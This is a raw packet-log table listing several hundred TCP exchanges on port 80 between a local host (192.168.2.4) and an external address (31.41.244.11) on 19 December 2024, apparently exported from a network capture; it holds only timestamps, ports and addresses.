Dec 19, 2024 20:11:40.369244099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.369664907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.369724035 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.370388031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.370460987 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.370822906 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.370973110 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.371609926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.371670008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.372668982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.372674942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.372719049 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.373703003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.373775959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.373919964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.373927116 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.373975039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.374777079 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.374835014 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.513144970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.513207912 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.513346910 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.513669014 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.513725042 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.513832092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.513887882 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.514915943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.514925003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.514971018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.515984058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.516055107 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.516498089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.516547918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.517141104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.517205954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.517287016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.517337084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.518323898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.518431902 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.518477917 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.519572020 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.519690037 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.519906998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.520005941 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.520409107 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.520467997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.520554066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.520807981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.521595001 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.521677017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.521789074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.521838903 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.522640944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.522695065 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.522959948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.523384094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.523794889 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.523870945 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.524105072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.524167061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.525074005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.525177956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.525199890 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.525245905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.526181936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.526499033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.526674032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.526735067 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.527323008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.527375937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.527442932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.527503014 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.528337002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.528387070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.528706074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.528793097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.529459953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.529468060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.529515028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.530508041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.530632019 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.530776978 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.530832052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.531800985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.531847954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.532021999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.532124996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.533314943 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.533364058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.533493996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.533596039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.534313917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.534379005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.534415007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.534466028 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.535710096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.535753965 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.535970926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.536086082 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.536902905 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.537050009 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.537127018 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.537920952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.537972927 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.538219929 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.538350105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.538937092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.539073944 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.539206982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.539252043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.539952040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.540029049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.540035963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.540076971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.540863991 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.540951014 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.540991068 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.541065931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.541929960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.541981936 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.542088985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.542135954 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.542937994 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.543036938 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.543113947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.543207884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.544037104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.544084072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.544248104 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.544353008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.545156956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.545222998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.545295954 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.545417070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.546278000 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.546389103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.546597958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.547480106 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.547796011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.548368931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.548569918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.548664093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.548671007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.548718929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.549660921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.549766064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.549913883 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.550782919 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.550837040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.551083088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.551146984 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.551887989 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.552114964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.552170992 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.553035021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.553193092 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.553200006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.553242922 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.554296017 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.554361105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.554718018 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.554778099 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.555252075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.555305958 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.555345058 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.555387020 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.556377888 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.556464911 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.556579113 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.556987047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.557533979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.557584047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.557717085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.557775021 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.558669090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.558717012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.558835983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.559024096 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.559756041 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.559901953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.560204029 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.560408115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.560872078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.560926914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.560991049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.561038971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.562010050 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.562062979 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.562227964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.562669992 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.563162088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.563211918 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.563297987 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.563364983 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.564352036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.564373016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.564424038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.565479040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.565530062 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.565586090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.565813065 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.566509008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.566596985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.566735983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.566790104 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.567639112 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.567682981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.568469048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.568572044 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.568746090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.568773031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.568821907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.569881916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.570003986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.570262909 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.570312977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.571064949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.571145058 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.571316957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.571378946 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.572150946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.572411060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.705324888 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.705598116 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.705662966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.705946922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.705996990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.706089973 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.706140041 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.706783056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.706836939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.707169056 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.707221031 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.707855940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.707901001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.708070040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.708132029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.709052086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.709104061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.709274054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.709377050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.710377932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.710500002 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.710649967 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.710735083 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.711489916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.711536884 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.711615086 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.711661100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.712759972 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.712806940 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.713119030 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.713172913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.713737965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.713795900 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.713879108 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.713980913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.714787006 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.714947939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.714965105 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.714993000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.715926886 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.715971947 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.716090918 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.716223955 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.716994047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.717098951 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.717164993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.717205048 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.717977047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.718024969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.718077898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.718127966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.719089985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.719136000 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.719280005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.719536066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.720607996 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.720612049 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.720662117 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.721344948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.721401930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.721574068 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.721857071 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.722460032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.722516060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.722769022 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.722817898 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.723612070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.723758936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.723803997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.724718094 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.724778891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.724857092 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.724915981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.725935936 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.725984097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.726110935 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.726233006 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.726959944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.727052927 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.727087975 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.727176905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.728121042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.728161097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.728168011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.728204966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.729227066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.729285002 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.729408979 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.729459047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.730362892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.730475903 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.730504036 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.730562925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.731461048 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.731514931 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.731656075 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.731709957 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.732631922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.732677937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.732706070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.732753992 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.733773947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.733824015 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.734160900 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.734302998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.734898090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.735018969 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.735296965 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.735352039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.736112118 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.736229897 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.736246109 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.736448050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.737160921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.737251043 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.737332106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.738312960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.738451004 CET	49842	80	192.168.2.4	31.41.244.11
